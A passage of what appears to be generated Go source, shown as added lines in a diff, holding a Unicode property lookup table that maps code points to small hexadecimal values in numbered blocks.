0x4dcb: 0x0080, + 0x4dcc: 0x0080, 0x4dcd: 0x0080, 0x4dce: 0x0080, 0x4dcf: 0x0080, 0x4dd0: 0x0080, 0x4dd1: 0x0080, + 0x4dd2: 0x0080, 0x4dd3: 0x0080, 0x4dd4: 0x0080, 0x4dd5: 0x0080, 0x4dd6: 0x0080, 0x4dd7: 0x0080, + 0x4dd8: 0x0080, 0x4dd9: 0x0080, 0x4dda: 0x0080, 0x4ddb: 0x0080, 0x4ddc: 0x0080, 0x4ddd: 0x0080, + 0x4dde: 0x0080, 0x4ddf: 0x0080, 0x4de0: 0x0080, 0x4de1: 0x0080, 0x4de2: 0x0080, 0x4de3: 0x0080, + 0x4de4: 0x0080, 0x4de5: 0x0080, 0x4de6: 0x0080, 0x4de7: 0x0080, 0x4de8: 0x0080, 0x4de9: 0x0080, + 0x4dea: 0x0080, + // Block 0x138, offset 0x4e00 + 0x4e00: 0x0088, 0x4e01: 0x0088, 0x4e02: 0x00c9, 0x4e03: 0x00c9, 0x4e04: 0x00c9, 0x4e05: 0x0088, + // Block 0x139, offset 0x4e40 + 0x4e40: 0x0080, 0x4e41: 0x0080, 0x4e42: 0x0080, 0x4e43: 0x0080, 0x4e44: 0x0080, 0x4e45: 0x0080, + 0x4e46: 0x0080, 0x4e47: 0x0080, 0x4e48: 0x0080, 0x4e49: 0x0080, 0x4e4a: 0x0080, 0x4e4b: 0x0080, + 0x4e4c: 0x0080, 0x4e4d: 0x0080, 0x4e4e: 0x0080, 0x4e4f: 0x0080, 0x4e50: 0x0080, 0x4e51: 0x0080, + 0x4e52: 0x0080, 0x4e53: 0x0080, + 0x4e60: 0x0080, 0x4e61: 0x0080, 0x4e62: 0x0080, 0x4e63: 0x0080, + 0x4e64: 0x0080, 0x4e65: 0x0080, 0x4e66: 0x0080, 0x4e67: 0x0080, 0x4e68: 0x0080, 0x4e69: 0x0080, + 0x4e6a: 0x0080, 0x4e6b: 0x0080, 0x4e6c: 0x0080, 0x4e6d: 0x0080, 0x4e6e: 0x0080, 0x4e6f: 0x0080, + 0x4e70: 0x0080, 0x4e71: 0x0080, 0x4e72: 0x0080, 0x4e73: 0x0080, + // Block 0x13a, offset 0x4e80 + 0x4e80: 0x0080, 0x4e81: 0x0080, 0x4e82: 0x0080, 0x4e83: 0x0080, 0x4e84: 0x0080, 0x4e85: 0x0080, + 0x4e86: 0x0080, 0x4e87: 0x0080, 0x4e88: 0x0080, 0x4e89: 0x0080, 0x4e8a: 0x0080, 0x4e8b: 0x0080, + 0x4e8c: 0x0080, 0x4e8d: 0x0080, 0x4e8e: 0x0080, 0x4e8f: 0x0080, 0x4e90: 0x0080, 0x4e91: 0x0080, + 0x4e92: 0x0080, 0x4e93: 0x0080, 0x4e94: 0x0080, 0x4e95: 0x0080, 0x4e96: 0x0080, + 0x4ea0: 0x0080, 0x4ea1: 0x0080, 0x4ea2: 0x0080, 0x4ea3: 0x0080, + 0x4ea4: 0x0080, 0x4ea5: 0x0080, 0x4ea6: 0x0080, 0x4ea7: 0x0080, 0x4ea8: 0x0080, 0x4ea9: 0x0080, + 0x4eaa: 0x0080, 0x4eab: 0x0080, 0x4eac: 0x0080, 0x4ead: 0x0080, 0x4eae: 0x0080, 0x4eaf: 0x0080, + 0x4eb0: 0x0080, 0x4eb1: 0x0080, 0x4eb2: 0x0080, 0x4eb3: 0x0080, 0x4eb4: 0x0080, 0x4eb5: 0x0080, + 0x4eb6: 0x0080, 0x4eb7: 0x0080, 0x4eb8: 0x0080, + // Block 0x13b, offset 0x4ec0 + 0x4ec0: 0x0080, 0x4ec1: 0x0080, 0x4ec2: 0x0080, 0x4ec3: 0x0080, 0x4ec4: 0x0080, 0x4ec5: 0x0080, + 0x4ec6: 0x0080, 0x4ec7: 0x0080, 0x4ec8: 0x0080, 0x4ec9: 0x0080, 0x4eca: 0x0080, 0x4ecb: 0x0080, + 0x4ecc: 0x0080, 0x4ecd: 0x0080, 0x4ece: 0x0080, 0x4ecf: 0x0080, 0x4ed0: 0x0080, 0x4ed1: 0x0080, + 0x4ed2: 0x0080, 0x4ed3: 0x0080, 0x4ed4: 0x0080, 0x4ed6: 0x0080, 0x4ed7: 0x0080, + 0x4ed8: 0x0080, 0x4ed9: 0x0080, 0x4eda: 0x0080, 0x4edb: 0x0080, 0x4edc: 0x0080, 0x4edd: 0x0080, + 0x4ede: 0x0080, 0x4edf: 0x0080, 0x4ee0: 0x0080, 0x4ee1: 0x0080, 0x4ee2: 0x0080, 0x4ee3: 0x0080, + 0x4ee4: 0x0080, 0x4ee5: 0x0080, 0x4ee6: 0x0080, 0x4ee7: 0x0080, 0x4ee8: 0x0080, 0x4ee9: 0x0080, + 0x4eea: 0x0080, 0x4eeb: 0x0080, 0x4eec: 0x0080, 0x4eed: 0x0080, 0x4eee: 0x0080, 0x4eef: 0x0080, + 0x4ef0: 0x0080, 0x4ef1: 0x0080, 0x4ef2: 0x0080, 0x4ef3: 0x0080, 0x4ef4: 0x0080, 0x4ef5: 0x0080, + 0x4ef6: 0x0080, 0x4ef7: 0x0080, 0x4ef8: 0x0080, 0x4ef9: 0x0080, 0x4efa: 0x0080, 0x4efb: 0x0080, + 0x4efc: 0x0080, 0x4efd: 0x0080, 0x4efe: 0x0080, 0x4eff: 0x0080, + // Block 0x13c, offset 0x4f00 + 0x4f00: 0x0080, 0x4f01: 0x0080, 0x4f02: 0x0080, 0x4f03: 0x0080, 0x4f04: 0x0080, 0x4f05: 0x0080, + 0x4f06: 0x0080, 0x4f07: 0x0080, 0x4f08: 0x0080, 0x4f09: 0x0080, 0x4f0a: 0x0080, 0x4f0b: 0x0080, + 0x4f0c: 0x0080, 0x4f0d: 0x0080, 0x4f0e: 0x0080, 0x4f0f: 0x0080, 0x4f10: 0x0080, 0x4f11: 0x0080, + 0x4f12: 0x0080, 0x4f13: 0x0080, 0x4f14: 0x0080, 0x4f15: 0x0080, 0x4f16: 0x0080, 0x4f17: 0x0080, + 0x4f18: 0x0080, 0x4f19: 0x0080, 0x4f1a: 0x0080, 0x4f1b: 0x0080, 0x4f1c: 0x0080, + 0x4f1e: 0x0080, 0x4f1f: 0x0080, 0x4f22: 0x0080, + 0x4f25: 0x0080, 0x4f26: 0x0080, 0x4f29: 0x0080, + 0x4f2a: 0x0080, 0x4f2b: 0x0080, 0x4f2c: 0x0080, 0x4f2e: 0x0080, 0x4f2f: 0x0080, + 0x4f30: 0x0080, 0x4f31: 0x0080, 0x4f32: 0x0080, 0x4f33: 0x0080, 0x4f34: 0x0080, 0x4f35: 0x0080, + 0x4f36: 0x0080, 0x4f37: 0x0080, 0x4f38: 0x0080, 0x4f39: 0x0080, 0x4f3b: 0x0080, + 0x4f3d: 0x0080, 0x4f3e: 0x0080, 0x4f3f: 0x0080, + // Block 0x13d, offset 0x4f40 + 0x4f40: 0x0080, 0x4f41: 0x0080, 0x4f42: 0x0080, 0x4f43: 0x0080, 0x4f45: 0x0080, + 0x4f46: 0x0080, 0x4f47: 0x0080, 0x4f48: 0x0080, 0x4f49: 0x0080, 0x4f4a: 0x0080, 0x4f4b: 0x0080, + 0x4f4c: 0x0080, 0x4f4d: 0x0080, 0x4f4e: 0x0080, 0x4f4f: 0x0080, 0x4f50: 0x0080, 0x4f51: 0x0080, + 0x4f52: 0x0080, 0x4f53: 0x0080, 0x4f54: 0x0080, 0x4f55: 0x0080, 0x4f56: 0x0080, 0x4f57: 0x0080, + 0x4f58: 0x0080, 0x4f59: 0x0080, 0x4f5a: 0x0080, 0x4f5b: 0x0080, 0x4f5c: 0x0080, 0x4f5d: 0x0080, + 0x4f5e: 0x0080, 0x4f5f: 0x0080, 0x4f60: 0x0080, 0x4f61: 0x0080, 0x4f62: 0x0080, 0x4f63: 0x0080, + 0x4f64: 0x0080, 0x4f65: 0x0080, 0x4f66: 0x0080, 0x4f67: 0x0080, 0x4f68: 0x0080, 0x4f69: 0x0080, + 0x4f6a: 0x0080, 0x4f6b: 0x0080, 0x4f6c: 0x0080, 0x4f6d: 0x0080, 0x4f6e: 0x0080, 0x4f6f: 0x0080, + 0x4f70: 0x0080, 0x4f71: 0x0080, 0x4f72: 0x0080, 0x4f73: 0x0080, 0x4f74: 0x0080, 0x4f75: 0x0080, + 0x4f76: 0x0080, 0x4f77: 0x0080, 0x4f78: 0x0080, 0x4f79: 0x0080, 0x4f7a: 0x0080, 0x4f7b: 0x0080, + 0x4f7c: 0x0080, 0x4f7d: 0x0080, 0x4f7e: 0x0080, 0x4f7f: 0x0080, + // Block 0x13e, offset 0x4f80 + 0x4f80: 0x0080, 0x4f81: 0x0080, 0x4f82: 0x0080, 0x4f83: 0x0080, 0x4f84: 0x0080, 0x4f85: 0x0080, + 0x4f87: 0x0080, 0x4f88: 0x0080, 0x4f89: 0x0080, 0x4f8a: 0x0080, + 0x4f8d: 0x0080, 0x4f8e: 0x0080, 0x4f8f: 0x0080, 0x4f90: 0x0080, 0x4f91: 0x0080, + 0x4f92: 0x0080, 0x4f93: 0x0080, 0x4f94: 0x0080, 0x4f96: 0x0080, 0x4f97: 0x0080, + 0x4f98: 0x0080, 0x4f99: 0x0080, 0x4f9a: 0x0080, 0x4f9b: 0x0080, 0x4f9c: 0x0080, + 0x4f9e: 0x0080, 0x4f9f: 0x0080, 0x4fa0: 0x0080, 0x4fa1: 0x0080, 0x4fa2: 0x0080, 0x4fa3: 0x0080, + 0x4fa4: 0x0080, 0x4fa5: 0x0080, 0x4fa6: 0x0080, 0x4fa7: 0x0080, 0x4fa8: 0x0080, 0x4fa9: 0x0080, + 0x4faa: 0x0080, 0x4fab: 0x0080, 0x4fac: 0x0080, 0x4fad: 0x0080, 0x4fae: 0x0080, 0x4faf: 0x0080, + 0x4fb0: 0x0080, 0x4fb1: 0x0080, 0x4fb2: 0x0080, 0x4fb3: 0x0080, 0x4fb4: 0x0080, 0x4fb5: 0x0080, + 0x4fb6: 0x0080, 0x4fb7: 0x0080, 0x4fb8: 0x0080, 0x4fb9: 0x0080, 0x4fbb: 0x0080, + 0x4fbc: 0x0080, 0x4fbd: 0x0080, 0x4fbe: 0x0080, + // Block 0x13f, offset 0x4fc0 + 0x4fc0: 0x0080, 0x4fc1: 0x0080, 0x4fc2: 0x0080, 0x4fc3: 0x0080, 0x4fc4: 0x0080, + 0x4fc6: 0x0080, 0x4fca: 0x0080, 0x4fcb: 0x0080, + 0x4fcc: 0x0080, 0x4fcd: 0x0080, 0x4fce: 0x0080, 0x4fcf: 0x0080, 0x4fd0: 0x0080, + 0x4fd2: 0x0080, 0x4fd3: 0x0080, 0x4fd4: 0x0080, 0x4fd5: 0x0080, 0x4fd6: 0x0080, 0x4fd7: 0x0080, + 0x4fd8: 0x0080, 0x4fd9: 0x0080, 0x4fda: 0x0080, 0x4fdb: 0x0080, 0x4fdc: 0x0080, 0x4fdd: 0x0080, + 0x4fde: 0x0080, 0x4fdf: 0x0080, 0x4fe0: 0x0080, 0x4fe1: 0x0080, 0x4fe2: 0x0080, 0x4fe3: 0x0080, + 0x4fe4: 0x0080, 0x4fe5: 0x0080, 0x4fe6: 0x0080, 0x4fe7: 0x0080, 0x4fe8: 0x0080, 0x4fe9: 0x0080, + 0x4fea: 0x0080, 0x4feb: 0x0080, 0x4fec: 0x0080, 0x4fed: 0x0080, 0x4fee: 0x0080, 0x4fef: 0x0080, + 0x4ff0: 0x0080, 0x4ff1: 0x0080, 0x4ff2: 0x0080, 0x4ff3: 0x0080, 0x4ff4: 0x0080, 0x4ff5: 0x0080, + 0x4ff6: 0x0080, 0x4ff7: 0x0080, 0x4ff8: 0x0080, 0x4ff9: 0x0080, 0x4ffa: 0x0080, 0x4ffb: 0x0080, + 0x4ffc: 0x0080, 0x4ffd: 0x0080, 0x4ffe: 0x0080, 0x4fff: 0x0080, + // Block 0x140, offset 0x5000 + 0x5000: 0x0080, 0x5001: 0x0080, 0x5002: 0x0080, 0x5003: 0x0080, 0x5004: 0x0080, 0x5005: 0x0080, + 0x5006: 0x0080, 0x5007: 0x0080, 0x5008: 0x0080, 0x5009: 0x0080, 0x500a: 0x0080, 0x500b: 0x0080, + 0x500c: 0x0080, 0x500d: 0x0080, 0x500e: 0x0080, 0x500f: 0x0080, 0x5010: 0x0080, 0x5011: 0x0080, + 0x5012: 0x0080, 0x5013: 0x0080, 0x5014: 0x0080, 0x5015: 0x0080, 0x5016: 0x0080, 0x5017: 0x0080, + 0x5018: 0x0080, 0x5019: 0x0080, 0x501a: 0x0080, 0x501b: 0x0080, 0x501c: 0x0080, 0x501d: 0x0080, + 0x501e: 0x0080, 0x501f: 0x0080, 0x5020: 0x0080, 0x5021: 0x0080, 0x5022: 0x0080, 0x5023: 0x0080, + 0x5024: 0x0080, 0x5025: 0x0080, 0x5028: 0x0080, 0x5029: 0x0080, + 0x502a: 0x0080, 0x502b: 0x0080, 0x502c: 0x0080, 0x502d: 0x0080, 0x502e: 0x0080, 0x502f: 0x0080, + 0x5030: 0x0080, 0x5031: 0x0080, 0x5032: 0x0080, 0x5033: 0x0080, 0x5034: 0x0080, 0x5035: 0x0080, + 0x5036: 0x0080, 0x5037: 0x0080, 0x5038: 0x0080, 0x5039: 0x0080, 0x503a: 0x0080, 0x503b: 0x0080, + 0x503c: 0x0080, 0x503d: 0x0080, 0x503e: 0x0080, 0x503f: 0x0080, + // Block 0x141, offset 0x5040 + 0x5040: 0x0080, 0x5041: 0x0080, 0x5042: 0x0080, 0x5043: 0x0080, 0x5044: 0x0080, 0x5045: 0x0080, + 0x5046: 0x0080, 0x5047: 0x0080, 0x5048: 0x0080, 0x5049: 0x0080, 0x504a: 0x0080, 0x504b: 0x0080, + 0x504e: 0x0080, 0x504f: 0x0080, 0x5050: 0x0080, 0x5051: 0x0080, + 0x5052: 0x0080, 0x5053: 0x0080, 0x5054: 0x0080, 0x5055: 0x0080, 0x5056: 0x0080, 0x5057: 0x0080, + 0x5058: 0x0080, 0x5059: 0x0080, 0x505a: 0x0080, 0x505b: 0x0080, 0x505c: 0x0080, 0x505d: 0x0080, + 0x505e: 0x0080, 0x505f: 0x0080, 0x5060: 0x0080, 0x5061: 0x0080, 0x5062: 0x0080, 0x5063: 0x0080, + 0x5064: 0x0080, 0x5065: 0x0080, 0x5066: 0x0080, 0x5067: 0x0080, 0x5068: 0x0080, 0x5069: 0x0080, + 0x506a: 0x0080, 0x506b: 0x0080, 0x506c: 0x0080, 0x506d: 0x0080, 0x506e: 0x0080, 0x506f: 0x0080, + 0x5070: 0x0080, 0x5071: 0x0080, 0x5072: 0x0080, 0x5073: 0x0080, 0x5074: 0x0080, 0x5075: 0x0080, + 0x5076: 0x0080, 0x5077: 0x0080, 0x5078: 0x0080, 0x5079: 0x0080, 0x507a: 0x0080, 0x507b: 0x0080, + 0x507c: 0x0080, 0x507d: 0x0080, 0x507e: 0x0080, 0x507f: 0x0080, + // Block 0x142, offset 0x5080 + 0x5080: 0x00c3, 0x5081: 0x00c3, 0x5082: 0x00c3, 0x5083: 0x00c3, 0x5084: 0x00c3, 0x5085: 0x00c3, + 0x5086: 0x00c3, 0x5087: 0x00c3, 0x5088: 0x00c3, 0x5089: 0x00c3, 0x508a: 0x00c3, 0x508b: 0x00c3, + 0x508c: 0x00c3, 0x508d: 0x00c3, 0x508e: 0x00c3, 0x508f: 0x00c3, 0x5090: 0x00c3, 0x5091: 0x00c3, + 0x5092: 0x00c3, 0x5093: 0x00c3, 0x5094: 0x00c3, 0x5095: 0x00c3, 0x5096: 0x00c3, 0x5097: 0x00c3, + 0x5098: 0x00c3, 0x5099: 0x00c3, 0x509a: 0x00c3, 0x509b: 0x00c3, 0x509c: 0x00c3, 0x509d: 0x00c3, + 0x509e: 0x00c3, 0x509f: 0x00c3, 0x50a0: 0x00c3, 0x50a1: 0x00c3, 0x50a2: 0x00c3, 0x50a3: 0x00c3, + 0x50a4: 0x00c3, 0x50a5: 0x00c3, 0x50a6: 0x00c3, 0x50a7: 0x00c3, 0x50a8: 0x00c3, 0x50a9: 0x00c3, + 0x50aa: 0x00c3, 0x50ab: 0x00c3, 0x50ac: 0x00c3, 0x50ad: 0x00c3, 0x50ae: 0x00c3, 0x50af: 0x00c3, + 0x50b0: 0x00c3, 0x50b1: 0x00c3, 0x50b2: 0x00c3, 0x50b3: 0x00c3, 0x50b4: 0x00c3, 0x50b5: 0x00c3, + 0x50b6: 0x00c3, 0x50b7: 0x0080, 0x50b8: 0x0080, 0x50b9: 0x0080, 0x50ba: 0x0080, 0x50bb: 0x00c3, + 0x50bc: 0x00c3, 0x50bd: 0x00c3, 0x50be: 0x00c3, 0x50bf: 0x00c3, + // Block 0x143, offset 0x50c0 + 0x50c0: 0x00c3, 0x50c1: 0x00c3, 0x50c2: 0x00c3, 0x50c3: 0x00c3, 0x50c4: 0x00c3, 0x50c5: 0x00c3, + 0x50c6: 0x00c3, 0x50c7: 0x00c3, 0x50c8: 0x00c3, 0x50c9: 0x00c3, 0x50ca: 0x00c3, 0x50cb: 0x00c3, + 0x50cc: 0x00c3, 0x50cd: 0x00c3, 0x50ce: 0x00c3, 0x50cf: 0x00c3, 0x50d0: 0x00c3, 0x50d1: 0x00c3, + 0x50d2: 0x00c3, 0x50d3: 0x00c3, 0x50d4: 0x00c3, 0x50d5: 0x00c3, 0x50d6: 0x00c3, 0x50d7: 0x00c3, + 0x50d8: 0x00c3, 0x50d9: 0x00c3, 0x50da: 0x00c3, 0x50db: 0x00c3, 0x50dc: 0x00c3, 0x50dd: 0x00c3, + 0x50de: 0x00c3, 0x50df: 0x00c3, 0x50e0: 0x00c3, 0x50e1: 0x00c3, 0x50e2: 0x00c3, 0x50e3: 0x00c3, + 0x50e4: 0x00c3, 0x50e5: 0x00c3, 0x50e6: 0x00c3, 0x50e7: 0x00c3, 0x50e8: 0x00c3, 0x50e9: 0x00c3, + 0x50ea: 0x00c3, 0x50eb: 0x00c3, 0x50ec: 0x00c3, 0x50ed: 0x0080, 0x50ee: 0x0080, 0x50ef: 0x0080, + 0x50f0: 0x0080, 0x50f1: 0x0080, 0x50f2: 0x0080, 0x50f3: 0x0080, 0x50f4: 0x0080, 0x50f5: 0x00c3, + 0x50f6: 0x0080, 0x50f7: 0x0080, 0x50f8: 0x0080, 0x50f9: 0x0080, 0x50fa: 0x0080, 0x50fb: 0x0080, + 0x50fc: 0x0080, 0x50fd: 0x0080, 0x50fe: 0x0080, 0x50ff: 0x0080, + // Block 0x144, offset 0x5100 + 0x5100: 0x0080, 0x5101: 0x0080, 0x5102: 0x0080, 0x5103: 0x0080, 0x5104: 0x00c3, 0x5105: 0x0080, + 0x5106: 0x0080, 0x5107: 0x0080, 0x5108: 0x0080, 0x5109: 0x0080, 0x510a: 0x0080, 0x510b: 0x0080, + 0x511b: 0x00c3, 0x511c: 0x00c3, 0x511d: 0x00c3, + 0x511e: 0x00c3, 0x511f: 0x00c3, 0x5121: 0x00c3, 0x5122: 0x00c3, 0x5123: 0x00c3, + 0x5124: 0x00c3, 0x5125: 0x00c3, 0x5126: 0x00c3, 0x5127: 0x00c3, 0x5128: 0x00c3, 0x5129: 0x00c3, + 0x512a: 0x00c3, 0x512b: 0x00c3, 0x512c: 0x00c3, 0x512d: 0x00c3, 0x512e: 0x00c3, 0x512f: 0x00c3, + // Block 0x145, offset 0x5140 + 0x5140: 0x00c0, 0x5141: 0x00c0, 0x5142: 0x00c0, 0x5143: 0x00c0, 0x5144: 0x00c0, 0x5145: 0x00c0, + 0x5146: 0x00c0, 0x5147: 0x00c0, 0x5148: 0x00c0, 0x5149: 0x00c0, 0x514a: 0x00c0, 0x514b: 0x00c0, + 0x514c: 0x00c0, 0x514d: 0x00c0, 0x514e: 0x00c0, 0x514f: 0x00c0, 0x5150: 0x00c0, 0x5151: 0x00c0, + 0x5152: 0x00c0, 0x5153: 0x00c0, 0x5154: 0x00c0, 0x5155: 0x00c0, 0x5156: 0x00c0, 0x5157: 0x00c0, + 0x5158: 0x00c0, 0x5159: 0x00c0, 0x515a: 0x00c0, 0x515b: 0x00c0, 0x515c: 0x00c0, 0x515d: 0x00c0, + 0x515e: 0x00c0, + 0x5165: 0x00c0, 0x5166: 0x00c0, 0x5167: 0x00c0, 0x5168: 0x00c0, 0x5169: 0x00c0, + 0x516a: 0x00c0, + // Block 0x146, offset 0x5180 + 0x5180: 0x00c3, 0x5181: 0x00c3, 0x5182: 0x00c3, 0x5183: 0x00c3, 0x5184: 0x00c3, 0x5185: 0x00c3, + 0x5186: 0x00c3, 0x5188: 0x00c3, 0x5189: 0x00c3, 0x518a: 0x00c3, 0x518b: 0x00c3, + 0x518c: 0x00c3, 0x518d: 0x00c3, 0x518e: 0x00c3, 0x518f: 0x00c3, 0x5190: 0x00c3, 0x5191: 0x00c3, + 0x5192: 0x00c3, 0x5193: 0x00c3, 0x5194: 0x00c3, 0x5195: 0x00c3, 0x5196: 0x00c3, 0x5197: 0x00c3, + 0x5198: 0x00c3, 0x519b: 0x00c3, 0x519c: 0x00c3, 0x519d: 0x00c3, + 0x519e: 0x00c3, 0x519f: 0x00c3, 0x51a0: 0x00c3, 0x51a1: 0x00c3, 0x51a3: 0x00c3, + 0x51a4: 0x00c3, 0x51a6: 0x00c3, 0x51a7: 0x00c3, 0x51a8: 0x00c3, 0x51a9: 0x00c3, + 0x51aa: 0x00c3, + 0x51b0: 0x0080, 0x51b1: 0x0080, 0x51b2: 0x0080, 0x51b3: 0x0080, 0x51b4: 0x0080, 0x51b5: 0x0080, + 0x51b6: 0x0080, 0x51b7: 0x0080, 0x51b8: 0x0080, 0x51b9: 0x0080, 0x51ba: 0x0080, 0x51bb: 0x0080, + 0x51bc: 0x0080, 0x51bd: 0x0080, 0x51be: 0x0080, 0x51bf: 0x0080, + // Block 0x147, offset 0x51c0 + 0x51c0: 0x0080, 0x51c1: 0x0080, 0x51c2: 0x0080, 0x51c3: 0x0080, 0x51c4: 0x0080, 0x51c5: 0x0080, + 0x51c6: 0x0080, 0x51c7: 0x0080, 0x51c8: 0x0080, 0x51c9: 0x0080, 0x51ca: 0x0080, 0x51cb: 0x0080, + 0x51cc: 0x0080, 0x51cd: 0x0080, 0x51ce: 0x0080, 0x51cf: 0x0080, 0x51d0: 0x0080, 0x51d1: 0x0080, + 0x51d2: 0x0080, 0x51d3: 0x0080, 0x51d4: 0x0080, 0x51d5: 0x0080, 0x51d6: 0x0080, 0x51d7: 0x0080, + 0x51d8: 0x0080, 0x51d9: 0x0080, 0x51da: 0x0080, 0x51db: 0x0080, 0x51dc: 0x0080, 0x51dd: 0x0080, + 0x51de: 0x0080, 0x51df: 0x0080, 0x51e0: 0x0080, 0x51e1: 0x0080, 0x51e2: 0x0080, 0x51e3: 0x0080, + 0x51e4: 0x0080, 0x51e5: 0x0080, 0x51e6: 0x0080, 0x51e7: 0x0080, 0x51e8: 0x0080, 0x51e9: 0x0080, + 0x51ea: 0x0080, 0x51eb: 0x0080, 0x51ec: 0x0080, 0x51ed: 0x0080, + // Block 0x148, offset 0x5200 + 0x520f: 0x00c3, + // Block 0x149, offset 0x5240 + 0x5240: 0x00c0, 0x5241: 0x00c0, 0x5242: 0x00c0, 0x5243: 0x00c0, 0x5244: 0x00c0, 0x5245: 0x00c0, + 0x5246: 0x00c0, 0x5247: 0x00c0, 0x5248: 0x00c0, 0x5249: 0x00c0, 0x524a: 0x00c0, 0x524b: 0x00c0, + 0x524c: 0x00c0, 0x524d: 0x00c0, 0x524e: 0x00c0, 0x524f: 0x00c0, 0x5250: 0x00c0, 0x5251: 0x00c0, + 0x5252: 0x00c0, 0x5253: 0x00c0, 0x5254: 0x00c0, 0x5255: 0x00c0, 0x5256: 0x00c0, 0x5257: 0x00c0, + 0x5258: 0x00c0, 0x5259: 0x00c0, 0x525a: 0x00c0, 0x525b: 0x00c0, 0x525c: 0x00c0, 0x525d: 0x00c0, + 0x525e: 0x00c0, 0x525f: 0x00c0, 0x5260: 0x00c0, 0x5261: 0x00c0, 0x5262: 0x00c0, 0x5263: 0x00c0, + 0x5264: 0x00c0, 0x5265: 0x00c0, 0x5266: 0x00c0, 0x5267: 0x00c0, 0x5268: 0x00c0, 0x5269: 0x00c0, + 0x526a: 0x00c0, 0x526b: 0x00c0, 0x526c: 0x00c0, + 0x5270: 0x00c3, 0x5271: 0x00c3, 0x5272: 0x00c3, 0x5273: 0x00c3, 0x5274: 0x00c3, 0x5275: 0x00c3, + 0x5276: 0x00c3, 0x5277: 0x00c0, 0x5278: 0x00c0, 0x5279: 0x00c0, 0x527a: 0x00c0, 0x527b: 0x00c0, + 0x527c: 0x00c0, 0x527d: 0x00c0, + // Block 0x14a, offset 0x5280 + 0x5280: 0x00c0, 0x5281: 0x00c0, 0x5282: 0x00c0, 0x5283: 0x00c0, 0x5284: 0x00c0, 0x5285: 0x00c0, + 0x5286: 0x00c0, 0x5287: 0x00c0, 0x5288: 0x00c0, 0x5289: 0x00c0, + 0x528e: 0x00c0, 0x528f: 0x0080, + // Block 0x14b, offset 0x52c0 + 0x52d0: 0x00c0, 0x52d1: 0x00c0, + 0x52d2: 0x00c0, 0x52d3: 0x00c0, 0x52d4: 0x00c0, 0x52d5: 0x00c0, 0x52d6: 0x00c0, 0x52d7: 0x00c0, + 0x52d8: 0x00c0, 0x52d9: 0x00c0, 0x52da: 0x00c0, 0x52db: 0x00c0, 0x52dc: 0x00c0, 0x52dd: 0x00c0, + 0x52de: 0x00c0, 0x52df: 0x00c0, 0x52e0: 0x00c0, 0x52e1: 0x00c0, 0x52e2: 0x00c0, 0x52e3: 0x00c0, + 0x52e4: 0x00c0, 0x52e5: 0x00c0, 0x52e6: 0x00c0, 0x52e7: 0x00c0, 0x52e8: 0x00c0, 0x52e9: 0x00c0, + 0x52ea: 0x00c0, 0x52eb: 0x00c0, 0x52ec: 0x00c0, 0x52ed: 0x00c0, 0x52ee: 0x00c3, + // Block 0x14c, offset 0x5300 + 0x5300: 0x00c0, 0x5301: 0x00c0, 0x5302: 0x00c0, 0x5303: 0x00c0, 0x5304: 0x00c0, 0x5305: 0x00c0, + 0x5306: 0x00c0, 0x5307: 0x00c0, 0x5308: 0x00c0, 0x5309: 0x00c0, 0x530a: 0x00c0, 0x530b: 0x00c0, + 0x530c: 0x00c0, 0x530d: 0x00c0, 0x530e: 0x00c0, 0x530f: 0x00c0, 0x5310: 0x00c0, 0x5311: 0x00c0, + 0x5312: 0x00c0, 0x5313: 0x00c0, 0x5314: 0x00c0, 0x5315: 0x00c0, 0x5316: 0x00c0, 0x5317: 0x00c0, + 0x5318: 0x00c0, 0x5319: 0x00c0, 0x531a: 0x00c0, 0x531b: 0x00c0, 0x531c: 0x00c0, 0x531d: 0x00c0, + 0x531e: 0x00c0, 0x531f: 0x00c0, 0x5320: 0x00c0, 0x5321: 0x00c0, 0x5322: 0x00c0, 0x5323: 0x00c0, + 0x5324: 0x00c0, 0x5325: 0x00c0, 0x5326: 0x00c0, 0x5327: 0x00c0, 0x5328: 0x00c0, 0x5329: 0x00c0, + 0x532a: 0x00c0, 0x532b: 0x00c0, 0x532c: 0x00c3, 0x532d: 0x00c3, 0x532e: 0x00c3, 0x532f: 0x00c3, + 0x5330: 0x00c0, 0x5331: 0x00c0, 0x5332: 0x00c0, 0x5333: 0x00c0, 0x5334: 0x00c0, 0x5335: 0x00c0, + 0x5336: 0x00c0, 0x5337: 0x00c0, 0x5338: 0x00c0, 0x5339: 0x00c0, + 0x533f: 0x0080, + // Block 0x14d, offset 0x5340 + 0x5350: 0x00c0, 0x5351: 0x00c0, + 0x5352: 0x00c0, 0x5353: 0x00c0, 0x5354: 0x00c0, 0x5355: 0x00c0, 0x5356: 0x00c0, 0x5357: 0x00c0, + 0x5358: 0x00c0, 0x5359: 0x00c0, 0x535a: 0x00c0, 0x535b: 0x00c0, 0x535c: 0x00c0, 0x535d: 0x00c0, + 0x535e: 0x00c0, 0x535f: 0x00c0, 0x5360: 0x00c0, 0x5361: 0x00c0, 0x5362: 0x00c0, 0x5363: 0x00c0, + 0x5364: 0x00c0, 0x5365: 0x00c0, 0x5366: 0x00c0, 0x5367: 0x00c0, 0x5368: 0x00c0, 0x5369: 0x00c0, + 0x536a: 0x00c0, 0x536b: 0x00c0, 0x536c: 0x00c3, 0x536d: 0x00c3, 0x536e: 0x00c3, 0x536f: 0x00c3, + 0x5370: 0x00c0, 0x5371: 0x00c0, 0x5372: 0x00c0, 0x5373: 0x00c0, 0x5374: 0x00c0, 0x5375: 0x00c0, + 0x5376: 0x00c0, 0x5377: 0x00c0, 0x5378: 0x00c0, 0x5379: 0x00c0, + // Block 0x14e, offset 0x5380 + 0x53a0: 0x00c0, 0x53a1: 0x00c0, 0x53a2: 0x00c0, 0x53a3: 0x00c0, + 0x53a4: 0x00c0, 0x53a5: 0x00c0, 0x53a6: 0x00c0, 0x53a8: 0x00c0, 0x53a9: 0x00c0, + 0x53aa: 0x00c0, 0x53ab: 0x00c0, 0x53ad: 0x00c0, 0x53ae: 0x00c0, + 0x53b0: 0x00c0, 0x53b1: 0x00c0, 0x53b2: 0x00c0, 0x53b3: 0x00c0, 0x53b4: 0x00c0, 0x53b5: 0x00c0, + 0x53b6: 0x00c0, 0x53b7: 0x00c0, 0x53b8: 0x00c0, 0x53b9: 0x00c0, 0x53ba: 0x00c0, 0x53bb: 0x00c0, + 0x53bc: 0x00c0, 0x53bd: 0x00c0, 0x53be: 0x00c0, + // Block 0x14f, offset 0x53c0 + 0x53c0: 0x00c0, 0x53c1: 0x00c0, 0x53c2: 0x00c0, 0x53c3: 0x00c0, 0x53c4: 0x00c0, + 0x53c7: 0x0080, 0x53c8: 0x0080, 0x53c9: 0x0080, 0x53ca: 0x0080, 0x53cb: 0x0080, + 0x53cc: 0x0080, 0x53cd: 0x0080, 0x53ce: 